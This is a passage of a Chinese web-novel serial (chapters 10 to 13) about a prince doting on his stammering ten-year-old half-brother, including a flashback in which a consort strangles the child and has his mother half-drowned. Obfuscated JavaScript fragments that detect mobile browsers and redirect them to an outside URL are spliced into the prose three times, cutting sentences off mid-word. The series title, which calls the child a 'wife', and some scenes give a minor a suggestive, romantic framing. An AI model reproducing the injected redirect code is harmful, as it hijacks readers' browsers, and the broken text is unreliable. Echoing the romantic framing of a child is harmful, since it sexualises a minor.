等到谢临沅回头,便发现他的母后站在门前,不知道盯着自己看了多久。 他正了神色,把谢玉阑抱着放在地上,站起身对林轻行礼:“母后。” 林轻颔首,示意谢临沅起身,她在房中绕了一圈,玉白指尖触上摆着莲花的瓷瓶,问道:“贵妃方才来了?” 谢临沅嗯了一声,心下却知晓林轻安排在他身侧的人果真不止孟九尘一人。 有明有暗。 “她没说什么吧?”林轻又问。 “没有。”谢临沅从容不迫。 林轻不知想了些什么,叹了口气,从袖中拿出一条红绳串起的手链:“给八殿下的,方才唤你过去忘了这东西,前几日本宫得允出宫求的,供奉了香火。” 谢临沅拿过手链,放在谢玉阑掌心,对人说道:“说谢谢母后。” 谢玉阑乖巧说道:“谢谢母后。” 林轻转身:“本宫没其他事了,时辰不早了,记得用晚膳。” 待林轻走后,谢临沅想起方才沈贵妃来过的事,他问道:“皇兄能问问,玉阑为什么怕沈贵妃吗?” 谢玉阑愣了会儿,掌心捏紧了那条红绳,想到眼前的人是皇兄,他才点头说道:“可、可以。” 10. 捡到老婆第10天 皇宫的冬,是朱墙金瓦上少见的一抹冷白。 雪粒子簌簌落在宫殿的鸱吻上。 冬日的积雪沉了枝丫,只要有一丝轻微的走动便会惊醒沉睡已久的薄雪。 早晨更是寒凉,皇后免了请安,各宫的妃子也在宫中烤着炭火,闭门不出。 一个身材瘦小的孩童蹲着身子坐在树下,双腿已经被冻麻了。 他已经两天没有吃饭了,冷宫的嬷嬷本就克扣吃食,如今天气寒凉,吃食甚至直接被押了下来。 一股饭菜的香气传来,孩童用力吸了吸鼻子,抬起无神的双眸。 走在他面前的是给沈贵妃送早膳的仪仗,上面各种吃食,谢玉阑咽了咽口水,盯着自己的肚子,鼻尖全是饭香。 他用力掐住自己的手,小声对自己说道:“这是宫里娘娘的,不能要。” 谢玉阑也不知自己为何来这,他只是听见婢女说御花园最近每日都会有人固定摆上一盘绿豆糕,但从未有人吃。 他想,如果在夜里前没有人要那盘绿豆糕,那他就拿回去和娘亲一起吃。 于是谢玉阑早早就守到了这里。 他低着头,把身子藏在粗大的树干后,强迫自己不去看不属于自己的早膳。 就在此时,眼前白皑皑的雪地中突然多出一个冒着油香的糯米团子。 谢玉阑眨眨眼,抱着膝盖抬眼,见是从送早膳的仪仗中掉落的,他犹豫了片刻,最后伸出手,将糯米团子拿入手中。 孩童被寒天冻得发紫的手贴上冒着热气的团子,谢玉阑忍住将团子塞入口中的欲望,起身就准备跑回冷宫给娘亲吃。 他颤颤巍巍地站起身,还没迈动步子,后脖处的布料便被人揪住。 “哪来的鼠窃,偷宫中娘娘的吃食?”尖锐的女声在谢玉阑身后响起。 谢玉阑偏过头,一个丫鬟势利的面容映入眼中,他抿着唇,解释道:“不是偷的,是在雪中捡的,脏了。” 在谢玉阑眼中,宫中的娘娘高贵,吃不得掉在地上的东西,给他正好,想必眼前的宫女姐姐也能理解。 岂料宫女听完他的话,竟然嗤笑出声:“偷了就是偷了,掉在地上的东西难不成就是属于你的了?你是哪个宫中的?” 谢玉阑的手收紧,他垂眸道歉:“抱歉。” “我问你是哪个宫的?” “冷宫。” 宫女盯着他看了片刻,似乎想起了什么:“原来是宁庶人那个带煞的儿子,那到也正常了,教不出好东西的女人。” 见面前的宫女诋毁自己的谢玉阑,谢玉阑着急挣脱宫女的束缚,不屈不挠地抬起头反驳:“娘亲很好。” “还敢顶嘴?”宫女伸出手,单手掐住谢玉阑的脸颊,“你娘没教过你规矩?” 谢玉阑盯着宫女的眼睛,一言不发。 宫女似是被他这个倔驴的样子惹恼了,一下拍掉谢玉阑手中的糯米团子:“我倒是要去看看宁庶人怎么教的你!” 说罢,宫女便拉着谢玉阑往冷宫走,谢玉阑在雪中冷了良久,早已也没了力气,只能被宫女在雪中拖着行走。 他转头,盯着陷进毛绒鹅雪中的糯米团子。 冷宫。 宫女对站在宫门口的嬷嬷说道:“去把我们娘娘唤来,就说宁庶人教子无方,偷窃了娘娘的早膳。” “敢问是哪个宫的娘娘?” 宫女捂住了谢玉阑的耳朵,对着嬷嬷说了几句话,又从袖中拿了几两碎银。 谢玉阑几乎是被拖着回来的,浑身冻得发紫。 宫女拽着他往内走,谢玉阑不知从哪来的力气,死死抓住门槛。 “不走?”宫女见谢玉阑这般模样,怒气更甚。 谢玉阑抿唇,低头不语。 嬷嬷颠了颠手中的银子,一掌拍在谢玉阑的头上:“小兔崽子,清姑姑的话都不听?” 谢玉阑的身子本就孱弱,更别说在雪中待了这么久,被嬷嬷这么一拍,整个人都彻底昏了过去。 待谢玉阑再次醒来,就听见翻涌的水声,他侧头一看,就看见宁月然整个脑袋都被压在水中,他瞳孔睁大,想要过去:“娘亲。” 可得到的回应只有一阵又一阵的水声,谢玉阑咬着牙抬头,就见是嬷嬷口中的清姑姑按着宁月然的头。 他猛地扑了过去,一口咬住清姑姑的手腕。 清姑姑吃痛,她抬眸看向站在暗处的女人:“娘娘!” 那女人如同看戏般,这时才有了反应:“来了。” 谢玉阑的脸颊被一股重力扇打,白皙的脸颊上立刻浮现一抹血红。 他唇齿的力气几乎立刻卸掉。 “就是你偷了本宫的吃食?”那女人穿着一身淡绿色的襦裙,伸出带着鎏甲的手指,掐住谢玉阑的脖颈。 呼吸渐渐被掠夺,肺部剧烈火辣的疼痛传来,谢玉阑解释道:“不是偷的,是捡的地上掉的...” 那女人闻言嗤笑出声,竟说出了和那宫女一模一样的话来:“掉在地上的就不是本宫的了?” “可娘娘也吃不了了....”谢玉阑梗着脖子,几乎喘不上气来。 绿裙女人手下猛地一用力,死死掐住谢玉阑的脖颈:“你的意思是你没错?” 谢玉阑喉间艰难地发出一声“嗯。” 那鎏甲几乎嵌进了谢玉阑肉中:“你错没错?” 在谢玉阑眼中,错了就是错了,没错就是没错,他本想道歉,可那个清姑姑的举动让谢玉阑想要道歉的心思全无。 “没有。”谢玉阑重复道。 女人约莫是没想到谢玉阑这么倔,她掐着谢玉阑脖子的力道更大,声音也变得尖锐起来:“说!你错了没有?!” 呼吸被掠夺,谢玉阑的嗓子也变得嘶哑,可他依旧说道:“我没错...” “哼,”绿裙女人冷笑一声,看向在角落的宫女,吩咐道,“清荷,用力。” 说罢,绿裙女人的力道也愈发地大,谢玉阑的脸变得青紫,他听见女人的话,用尽全身力气偏头,就看见清荷正用力压着宁月然的头,平时温柔的娘亲此刻双腿不停挣扎着。 他终究还是认错,咳着嗽说道:“我、我错咳咳、错了。” 见谢玉阑终于认错,绿裙女人给清荷使了眼色,清荷松开手,一句话未说便离开。 谢玉阑大口大口汲取着空气,想到娘亲,他连忙过去把宁月然扶起。 宁月然吐出几口水,整个人脸色惨白,安抚谢玉阑:“娘亲没事。” “怪..”谢玉阑又咳了一声,“咳..怪..咳怪我。” “阑儿没做错,是那些人的错。”宁月然温柔地抬起手,整理好谢玉阑额前乱掉的碎发。 谢玉阑想起了什么,连忙对宁月然说道:“娘,咳咳..娘亲,等我。” 他急忙飞奔出去,跑到刚刚糯米团子掉落的地方,却见那处早已被白雪掩埋。 谢玉阑在雪中扒拉着,终于找到了已经凉掉的糯米团子,他把糯米团子放入自己怀中,用最快的速度跑了回去。 回到冷宫后,谢玉阑把糯米团子拿了出来,递到宁月然唇边:“娘..咳..娘亲吃。” 宁月然掰下一小块,放进自己口中,冰凉纤细的指尖微微用力,抬起谢玉阑拿着糯米团子的手:“阑儿也吃。” 谢玉阑吸了吸鼻子,小口咬掉一块。 在这个寒冷刺骨的冬日,互相取暖的母子一人一口地分食掉了早已冷掉的糯米团子。 即使它黏腻,粘着人的喉口。 谢玉阑磕磕绊绊地说完,似乎怕皇兄担心自己,爬进靠在床沿的谢临沅怀中:“玉、玉阑,当、当时很、很勇敢哦。” 谢临沅听完谢玉阑的陈述,久久说不出话来。 他想不到谢玉阑是怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢玉阑趴在谢临沅怀里,杏脯和糖兔已经很好吃了,糖饼竟然比杏脯和糖兔还好吃吗? “去、去..”谢玉阑用力点点头,下巴却不小心撞上谢临沅坚硬的胸膛。 谢玉阑的力气软绵绵的,可谢临沅身上却硬,他吃痛,捂着自己的下巴两眼泪汪汪:“皇、皇兄这、这里坏。” 谢临沅兀的笑出了声,一时如玉山倾辉,矜贵温柔中带着少年郎的恣意。 他抬起谢玉阑的下巴揉了揉,笑道:“皇兄吹吹就不痛了。” 谢玉阑认真点点头:“皇、皇兄吹。” 吃完晚膳,谢临沅便让孟九尘去宫学告假。 谢玉阑对第二日格外期待,晚上翻来覆去都睡不着,连带着谢临沅也睡不着。 他侧过身子,拍了拍谢玉阑的屁.股:“再闹皇兄就打屁股了。” 谢玉阑连忙捂住自己的臀部,摇摇头:“玉、玉阑马、马上睡。” 于是他看着自己的皇兄露出满意的神情,将自己搂入怀中。 清亮的月光斜斜横着窗棂照进来。 谢临沅睡着了,谢玉阑却依旧没睡。 他伸出指尖,碰上谢临沅的鼻尖,认真说道:“皇、皇兄……很重、重要。” 娘亲心中也有最重要的人,娘亲说是玉阑和一个玉阑不认识的人,一共有两个。 当时的谢玉阑心中只有一个,那就是宁月然,于是他在心里暗暗发誓自己也要像娘亲一样有两个。 现在自己也有了。 谢玉阑想。 他用力往谢临沅怀中钻了钻,搂住少年并不纤瘦的腰身,沉沉睡去。 11. 捡到老婆第11天 盛夏的日头毒得骇人,连带着泥土地都蒸出一层浮动的热浪。 蝉鸣声嘶力竭,粘稠地荡在空气里,连风都是烫的,掠过皮肤时,一层闷热裹在了上面。 谢临沅一袭月白纱袍,腰间束着淡青丝绦,衣料轻薄,隐约透出几分肌理。 他手中执着一把素纱团扇,扇面上绣着几枝瘦竹,摇动时带起微弱的风,但这风向着的却不是谢临沅自己,而是他身侧穿着一身杏黄短衫的谢玉阑。 谢玉阑第二次出宫,却比第一次局促了很多。因为今日闹市中人多,天气炎热,谢玉阑也不敢随便走。 更何况在出宫前皇兄和自己说了,不要走远,如果皇兄找不到玉阑会担心的。 当时的谢玉阑闻言,便用力拍拍自己的胸脯,认真对着谢临沅保证道:“玉、玉阑不、不会的!” 此时此刻,谢玉阑手指抓着谢临沅的袖角,好奇地打量着在上次出宫时没有发现的小摊。 但谢玉阑注意力依旧放在谢临沅昨日提及的糖饼上,他扯扯谢临沅的衣裳:“兄、兄长,糖、糖饼。” 他在提醒谢临沅不要忘了比杏脯和糖兔还好吃的糖饼。 谢临沅将手伸出,抓住谢玉阑冰凉的手,往周围打量了一圈,偏低着头对谢玉阑说道:“卖糖饼的大娘还未来,今日皇兄带着玉阑玩到夜深如何?” 玩到夜深。 谢玉阑眨眨眼,思考了片刻说道:“不、不会被、被抓吗?” 谢临沅俯身,指腹在谢玉阑白嫩的脸颊上滑了几下,说道:“兄长同父亲说了,父亲允了。” “要!”谢玉阑见皇兄这么说,也不再有顾虑了。 谢临沅失笑,把谢玉阑的手紧紧包在自己的掌心,问道:“玉阑现在想吃什么?” 话音刚落,接上的是小贩悠长的吆喝声。 “卖冰酪咯——又甜又凉的冰酪咯!” 谢玉阑本就有几分热意,听见小贩口中又甜又凉的形容,立刻起了兴趣。 “冰、冰酪!”谢玉阑抬起头,对谢临沅说道。 谢临沅垂眸,见他仰着脸,睫毛上还挂着细小的汗珠,在阳光下亮晶晶的。他笑着从袖中取出锦帕,轻轻按在小皇弟汗湿的额头上。 “好,兄长给玉阑买。” 说罢,谢临沅便拉着谢玉阑往巷口槐树下卖冰酪的摊贩走去。 那摊贩也是个有眼力见的,一瞧谢临沅和谢玉阑的穿着便知晓两人不是普通人,于是连忙热情招呼道:“公子要来碗冰酪吗?” 谢临沅从荷包中拿出碎银,递到小贩支着的摊子上,“来一碗。” 巷口的老槐树投下一片吝啬的阴翳,树影被热浪蒸得模糊,像融化的墨迹。借着小贩做冰酪的时间,谢临沅牵着谢玉阑站进去,却仍避不开四面八方涌来的闷热。 没多久,小贩就将冰酪做好了,他递到谢临沅手中,笑着嘱咐道:“公子得快点吃,不然就化了。” 谢临沅接过,颔首回道:“多谢。” 那冰酪盛在青瓷小碗里,莹白如雪,面上浇了一勺琥珀色的桂花蜜,蜜汁沿着乳酪的弧度缓缓滑落,在碗底积成一小汪甜浆。 冰气氤氲,碗壁沁出一层细密的水珠,指尖一碰,凉意便顺着肌肤爬上来,连夏日的燥热都褪了三分。 谢临沅弯腰,将冰酪递到谢玉阑跟前。 谢玉阑凑近去看,鼻尖几乎要碰到冰酪的冷雾。 乳酪微微颤动,像一方冻住的牛乳,又似玉匠雕琢的酥山。 察觉衣角被谢玉阑扯了一下,谢临沅柔声问道:“怎么了?” “兄、兄长先、先吃。”谢玉阑垫着脚,拍去一片落在谢临沅发间的落叶。 “兄长不饿。”谢临沅道。 谢玉阑皱着小脸,摇摇头,用手掌抹去谢临沅额头冒出的细汗:“兄、兄长热。” 谢临沅这才知晓谢玉阑是什么意思。 心软软陷进去了一片,他抿唇轻轻在边缘抿了一小口,桂花蜜裹着碎冰碴,入口时先是沁骨的凉,继而舌尖漫开稠厚的甜,还带着一点花酿的微苦,恰能解了牛乳的腻。 谢临沅随口用木勺轻轻一挖,便露出内里更细腻的冰絮,他递到谢玉阑唇边,开口道:“玉阑吃吧。” 谢玉阑低头含住,被冻得“嘶”了一声,睫毛上却挂了笑,在闹市中并不清晰,谢临沅却听得很清楚。 “兄、兄长,又甜又、又凉。”他学着小贩的说法对谢临沅说道。 冰酪化得快,一滴乳浆沾在他唇角,谢临沅用帕子去擦,孩童的唇瓣还带着冰酪的凉意,像碰了一瓣沾露的梨花。 “嗯,又甜又凉。” 谢玉阑却在此时左瞧西瞧,不知看到了什么,拉住谢临沅的指尖,另一只手指着不远处开口:“兄、兄长,去、去那边坐、坐。” 谢临沅顺着谢玉阑的视线望去,就见远处有一块乘凉的绿荫,下面有好几处石枰。 两人过去时刚好还有两个贴在一起的,谢玉阑拍了拍其中一个,示意谢临沅坐上去。 待谢临沅坐上去以后,他才坐了上去,随后偏着头靠在谢临沅的手臂上,晃着自己的双腿。 谢临沅则是又挖了一勺冰酪递到谢玉阑唇边,谢玉阑张着唇乖乖吃下,又突然蹙紧眉头。 正挖着冰酪的谢临沅并未察觉,而是再次递过去一勺,却没感觉到木勺被含住的力道。 他偏头望去,便看见自家皇弟一脸严肃的看着自己,格外郑重地说道:“玉、玉阑吃、吃了两、两口,兄、兄长吃了一、一口,该兄长了。” “兄长不吃了,玉阑吃。”谢临沅又往谢玉阑唇边递了递,冰凉的冰酪几乎贴上了谢玉阑的唇瓣,一丝甜意渗进他的口中。 谢玉阑咽了咽口水,却依旧坚持自己一口皇兄一口的原则,偏着小脑袋不去看乳白的冰酪。 “玉阑吃,兄长如果想吃会买的。”谢临沅劝道。 他不需要一个和他处处讲求公平的皇弟,而是愿意成为谢玉阑可以肆意撒娇甚至撒泼的亲近之人。 他不缺前者。 “真、真的?”谢玉阑又把脑袋伸了回来,问道。 谢临沅失笑,头一次恨自己只有两只手,现在没有手空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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却没想到谢玉阑就势把发烫的额头抵上来,纤长柔软的睫毛扫过谢临沅的肌肤,声音含着欺负到了皇兄的得意:“玉、玉阑走、走不动了。” 谢临沅吐出一口气,少年算不上宽厚的手掌隔着纤薄的衣料轻轻拍了一下谢玉阑的屁股:“玉阑,这种话不能对其他人说。” 他已十五,自然能察觉到话中的歪意,不少世家公子在他这个年纪已有了教事的通房丫头,曾经皇帝也问过谢临沅是否需要,皆被谢临沅以心思不在此处为由拒绝了。 可谢玉阑不懂,他懵懂地抓着谢临沅肩胛上的布料,偏着头问道:“为、为何不、不行?” 谢临沅一哽,不知如何和谢玉阑解释这种事情。 他对这种事情向来看的很淡,也从未主动了解,只好用最通俗的话术和谢玉阑解释道:“因为这种话有其他意思,那个意思不好,以后自然会有人教玉阑,玉阑到时便懂了。” 他也不知怎么和谢玉阑解释,似乎怎么解释都是乱的,做事待人向来游刃有余的谢临沅平生唯独栽过的跟头都在谢玉阑身上了。 还好谢玉阑没有继续问下去,他若有所思地点点头,重新开口:“那兄、兄长好、好软。” 谢临沅:“......” 12. 捡到老婆第12天 到了午时,谢玉阑饿了,谢临沅便又带着谢玉阑去醉仙楼持午膳。 包厢内。 这次来的依旧是上次来的小二,他恭敬地倒上茶水,问道:“二位公子要吃些什么?” 谢临沅随口道了几道谢玉阑平常在宫中爱吃的菜式。 那小二笑呵呵地应下,热拢说道:“公子还未离开京城啊?” 小二对这两位公子的印象着实深,因为这两位在京中都是少见的清绝容颜,让人看一眼都忘不掉。 还记得上次这位大公子走时不少女子都盯着醉仙楼大门口的背景望眼欲穿。 谢临沅闻言,淡淡回道:“家父在京中做生意,目前在京城久居。” 小二点点头,又叮嘱道:“今日客人多,这壶茶方烧好便端上来了,客人喝时务必小心。” “好。”谢临沅回道。 待小二走后,谢临沅抓住谢玉阑打算去拿茶杯的手,上面的热气萦绕,他用手背试了试温,随即垂头对谢玉阑说道:“茶水烫,等会喝。” 谢玉阑端着凳子往谢临沅身边靠了靠,纤细白嫩的手指指向谢临沅一手便可以握住的喉咙:“玉、玉阑,口、口渴。” 冰酪虽甜,但上面的桂花蜜吃了却止不了渴,反倒让谢玉阑愈发口渴。 谢临沅听闻,指尖抬起谢玉阑的下巴,注意到谢玉阑的唇瓣都是干的,他柔声说道:“那等皇兄吹凉了再喝可好?” 谢玉阑知晓谢临沅是为自己好,他便点点头:“好、好。” 见谢玉阑同意,谢临沅便拿起热茶,唇中吐出丝丝气息,吹动茶水表面,泛起微微涟漪。 手腕突然被一股极小的力道盖住,他低头就见谢玉阑盯着自己,小手放在自己的手腕上认真说道:“我、我和皇、皇兄一、一起吹、吹。” 谢玉阑一脸认真,谢临沅也没有推拒,将茶杯放低了一点,刚到和谢玉阑的唇瓣对齐。 茶杯的热气扑到谢玉阑脸上,他眯起了眼睛,却学着皇兄的样子嘟起唇瓣往里吹气,谢临沅则是轻轻吹着,怕将热气吹进谢玉阑的眼中,烫着了人。 谢玉阑匆匆吹了几下,口中的干涩愈发严重,他见杯口没有再冒热气了,便着急对谢临沅说道:“皇、皇兄,好、好了。” 还没等谢临沅用手背去试温,谢玉阑就急不可耐地将唇瓣贴上了杯口,仰着脖子咕噜咕噜喝了一大口。 茶杯被谢玉阑快速放在桌上,谢临沅还没反应过来怀里便扑进来了一个人,胸膛被人蹭了几下。 怀里的人可怜兮兮的抬起手,同小狗散热般伸出被热水烫得通红的舌头,含糊笨拙地咕哝道:“皇、皇兄,烫烫....” 说着,豆大颗的眼泪从谢玉阑的眼底滑落,一颗一颗砸在谢临沅胸前的布料上。 谢临沅又心疼又觉得好笑,他伸出右手捏住谢玉阑被烫地红的不太对劲的舌头,不让谢玉阑收回去,随后用左手取出右手袖中的手帕,轻柔地按在谢玉阑的眼底,素白的手绢被洇湿染深。 谢玉阑雷声大雨点小,落了几颗就没再哭了。 “唔、唔..”怀中的孩童不知说了些什么,用指尖戳了戳谢临沅的胸膛。 谢临沅敛眸,就见谢玉阑唇边流出了几丝津水,是被谢临沅扯着舌头无法吞咽,他轻笑了一声,松开捏着谢玉阑舌头的指尖,温热拭去孩童唇边的津水。 刚擦去,就听见谢玉阑气鼓鼓地说道:“皇兄坏...” 少年一怔,还没反应过来,就被人恶狠狠地用脑袋撞了撞胸口:“茶、茶水更、更坏。” 谢玉阑力气小,在他眼中自己力气很大,在谢临沅感受下来却和小猫挠人没什么区别。 他的注意力更着重放在了谢玉阑方才开口的第一句话,他有些激动,把人的小脸捧着,问道:“玉阑刚刚说了什么?” 谢玉阑似乎并不知道自己方才并没有结巴,他歪了歪头,脸颊肉抵在谢临沅温热的掌心上,他似乎格外喜欢谢临沅捧着自己的脸,在上方轻轻蹭了蹭。 做完这一切,谢玉阑才慢吞吞地回道:“皇、皇兄坏,茶、茶水更、更坏。” 见谢玉阑又恢复了原样,谢临沅也拾掇起了心中的激动,并没有告诉谢玉阑方才第一句话并没有结巴,免得让人白高兴。 他捏了捏谢玉阑的脸,将人重新抱回到凳子上坐着,说道:“皇兄说了很烫,还没试温玉阑就喝了,皇兄怎么就坏了?正直的小判官是不能冤枉大好人的。” 说着,谢临沅的语气竟也染上了几分委屈。 谢玉阑信以为真,仔细想了一下,方才皇兄确实对自己说过茶水烫,也确实在起初用手背试温,是他自己还没等皇兄说可以喝,就因为自己口渴才急着囫囵咽了下去,造成了舌头的疼痛。 大脑运转着,谢玉阑迷迷糊糊地思考完,皱着小脸说道:“那、那玉阑坏。” 谢临沅失笑,说道:“玉阑也不坏,玉阑只是口渴了,我们都不坏。” 在谢玉阑心中,皇兄是不会说错话的,他闻言便认真点点头,说道:“那、那就、就是茶、茶水、水坏!” 谢临沅笑着,他指尖弯起,刮了一下谢玉阑已经长了些肉的小脸:“嗯,茶水坏。” 少年的声音带着几分恣意,还含着几丝不易觉察的纵容。 谢玉阑伸出手掌,轻轻把还有一点茶水的茶杯推远:“不、不喝、喝你了。” 孩童的行为无法用正常的思维进行思考,谢临沅只觉得他的皇弟可爱地紧,让人原本坚硬的心都有了一片柔软。 吃完午膳,两人随处走了走,谢临沅带着谢玉阑消了食,想到谢玉阑惦记着的糖饼,他便拉着谢玉阑的手去了卖糖饼的大娘那。 刚走过去,一股花香就扑上了谢玉阑的脸上,他眨了眨眼,愣愣说道:“好、好香。” 刚刚摆好摊的大娘闻言笑了出来:“小公子好嗅觉,这是我新研究的鲜花糖饼。” “鲜、鲜花糖、糖饼?”谢玉阑重复道。 “对,可好吃了。”大娘笑道。 谢玉阑扯了扯谢临沅的衣角:“玉、玉阑想、想吃。” 谢临沅自然不会让谢玉阑失望,他从荷包从拿出几块碎银,搁置在大娘摊前,说道:“一块普通糖饼,一块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172057|180726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜花糖饼。” “好勒,近来是夏日,我只研发了荷花糖饼,是用新鲜莲瓣蘸了麦芽糖浆,贴在薄面皮上蒸熟的,比普通糖饼味淡。”大娘一边做一边介绍。 谢玉阑则是垫着小脚看着大娘做糖饼,回应着大娘的话。 很快大娘便将糖饼做好了,两个冒着热气的糖饼递到谢玉阑手中,谢玉阑看了一眼,就准备咬上那块普通糖饼,普通糖饼的甜味浓,勾起了谢玉阑的食欲。 谢临沅按住谢玉阑的手,说道:“先吃了普通糖饼就尝不出荷花糖饼的味了,刚刚大娘不是说了,荷花糖饼的味道比普通糖饼淡。” 大娘自也听见了谢临沅的话,她赞同道:“这位小公子说得对。” 见皇兄和卖糖饼的大娘都这么说了,谢玉阑便先咬伤了荷花糖饼。 荷花糖饼是表面是蒸得极薄的米皮,软糯微韧,一抿便化开。内馅的荷花蜜浆随之溢出,如大娘所说,甜味极淡,却带着一缕幽凉的荷香,仿佛舌尖拨开了某片花瓣,忽然尝到花蕊深处藏着的露水。 咬到里面的花泥时,能觉出细碎的荷瓣仍保留一丝粗糙的感绝,在齿间轻轻拉扯,甜意如涟漪般层层漾开。 谢玉阑眼眸亮起了光,他抬起头盯着谢临沅说道:“好、好吃。” “好吃皇兄再给玉阑买。” 谢玉阑踮脚,把荷花糖饼递到谢临沅唇齿边,说道:“一、一起吃、吃。” 谢临沅轻轻咬了一口:“玉阑吃吧,兄长不爱吃甜食。” 见皇兄这么说,谢玉阑便也不强迫谢临沅吃不爱吃的吃食,糖饼有些大,谢玉阑捧着走了一路才吃完。 吃完糖饼,谢玉阑抱住谢临沅的手臂:“玉、玉阑累、累了。” 谢临沅往四周看了一眼,看见一个说书人的台子,后方正好有两个空位,他便拉着谢玉阑走了过去坐下。 他从袖中拿出谢玉阑还没吃的糖饼,问道:“现在要吃吗?” 谢玉阑吧咋了几下嘴,摇摇头:“等、等会吃、吃。” 听见谢玉阑这么说,谢临沅便把用油纸包着糖饼放入袖中。 台上,说书人缓缓出场:“今日,在下来为各位将一段狐狸精和书生的故事.....” 谢玉阑捧着脸颊认真听着。 “却说是一个雨夜,书生被困在了山洞中,刚刚幻化成人形的红尾狐狸精,狐妖一族本就靠吸食青年的阳气,狐妖见书生长得清秀漂亮,便装作淋湿雨的富家女子前去勾引那位书生。那却不料那书生家中是捉妖师,一开始便闻出了女子身上的狐狸味——” 话未说完,便被台下的听客打断:“你这新来的实力不行啊,倒是和我们说说那书生和狐狸精长什么样啊。” 那位说书人的新来的,闻言一怔,视线落在台下,突然一指:“和后面那位公子差不多。” 谢玉阑见那位书生指向的是谢临沅,小脸皱紧,对谢临沅说道:“我、我们走。” 谢临沅不明所以,却还是跟着谢玉阑走了。 待走远,谢临沅才听见谢玉阑不满道:“兄、兄长才、才不是狐、狐狸精。” 13. 捡到老婆第13天 谢临沅这才晓得谢玉阑为何突然将自己扯走。 感情是以为那位说书人认为皇兄是狐狸精长相。 他眸子弯着,低着腰揉了揉谢玉阑的脑袋:“那位说书人的意思不是说兄长是狐狸精。” 谢玉阑眉头紧蹙,听到谢临沅的解释,他磕磕绊绊地问道:“那、那兄、兄长是、是什、什么?” 谢临沅捏捏谢玉阑的脸,牵着人往前走,边走边说道:“那人的意思是兄长像书生。” 可谢玉阑的眉头并没有松开几分,他捏着谢临沅的手紧了紧,闷闷说道:“兄、兄长也、也不是、是书、书生。” 这回轮到谢临沅不懂了,他食指挠了挠谢玉阑的掌心,轻声问道:“为何?” 谢玉阑埋头盯着自己的脚尖陷入了思考,片刻后他回道:“因、因为兄、兄长是、是好、好人,不、不会被、被狐、狐狸精骗、骗走。” 谢玉阑说完,便停下脚步抬起小脑袋盯着谢临沅,反问道:“是、是吧?” 谢临沅唇缝中溢出憋不住的笑意,他弯下腰将谢玉阑抱了起来,让人坐在自己的小臂上颠了几下,回道:“兄长不会被狐狸精骗走的。” 他也没有向谢玉阑解释那位说书人的意思是自己的长相像话段子里的书生。 毕竟谢临沅自己也不认同,更莫说谢玉阑了。 “兄、兄长好。”谢玉阑伸出双臂揽住谢临沅的脖子,小脑袋抵在谢临沅的发丝上,轻轻蹭了几下,引起发丝厮磨的静谧声响。 谢临沅这么抱着谢玉阑走了一路,一直到京中最负盛名的菡清池才停下。 正值夏季,池中养殖的菡萏开得正旺,独属于莲花的香气在整个池子周边的范围内蔓延。 谢玉阑眼睛一亮,他扭了扭身子,垂着头对谢临沅说道:“莲、莲花糖、糖饼。” 一缕柔软的黑丝耷拉在谢临沅的羽睫上,晃来晃去,扫起几分痒意。 谢临沅将谢玉阑的腰往里带了带,免得掉下去。 随即抬起一只手,将谢玉阑散落的发丝别到谢玉阑的耳后,轻声应道:“嗯,莲花糖饼便是用池子中的这种花做的。” 谢玉阑抿着唇,弯着眼睛笑了起来:“放、放我下、下来吧。” 谢临沅将谢玉阑放在了地面,身子还未直起,手臂便被人捏住,谢玉阑两只小手轻轻揉着谢临沅的小臂,纤长的睫毛盖住了那双清亮黑透的瞳孔。 眼前的人一张小脸认真,说道:“兄、兄长,疼、疼不疼?” 虽说谢玉阑是个十岁的孩童,但因为前十年几乎没有摄入什么营养,看上去十分纤瘦。更何况谢临沅从五岁起便开始学武,别说一个谢玉阑了,就算是两个谢玉阑坐在谢临沅的手臂上谢临沅都没有感觉。 “兄长不疼。”谢临沅温声开口。 谢玉阑按揉谢临沅小臂的动作放缓:“玉、玉阑不、不轻的。” 谢临沅难得一时沉默。 谢玉阑认为自己是重的,会坐疼皇兄。 可却也不知道,他的皇兄满心都是怎么将眼前纤瘦的孩童养的更白嫩更胖更健康些。 谢玉阑见谢临沅没即刻回答,真以为自己将谢临沅坐疼了,他给谢临沅按摩的手停住,有些落寞:“玉、玉阑当、当时太、太高兴了,没、没没...” 说着说着,谢玉阑有些急,话也还是说不顺。 谢临沅回过神来,察觉方才谢玉阑说了些什么,又见谢玉阑自愧的神色,猛地发觉自己从未和谢玉阑说过将可以将皇兄当做一个玩闹撒娇的亲人。 有时他见谢玉阑同自己那般亲密,便以为谢玉阑早已将自己当做了可以肆意嬉戏的人。 可谢临沅没有说,谢玉阑也就将谢临沅当做了一位有着同父血缘的皇兄,皇兄有威严有地位,是不可冒犯的。 这十年内没有教谢玉阑怎么和其他人相处。 谢临沅伸出掌心,将谢玉阑的唇瓣捂住,不让孩童继续说话。 他盯着谢玉阑的双眸,格外认真:“玉阑,你是我的弟弟,我们并不是上下的关系。” “皇兄不会和玉阑置气,玉阑在皇兄这是有特权的。”谢临沅说道。 说完后,谢临沅才放下捂着谢玉阑唇瓣的掌心。 谢玉阑愣愣的,良久才意识到谢临沅话中的意思,他手指搅着自己的衣料,呆呆说道:“特、特权是、是什、什么。” 谢临沅见不得谢玉阑可怜的样子,蹲下身子伸出手将人搂入怀中,缩短相隔甚远的距离,抬眸近距离看着谢玉阑的肌肤,他轻轻扯开谢玉阑下意识掐手的动作。 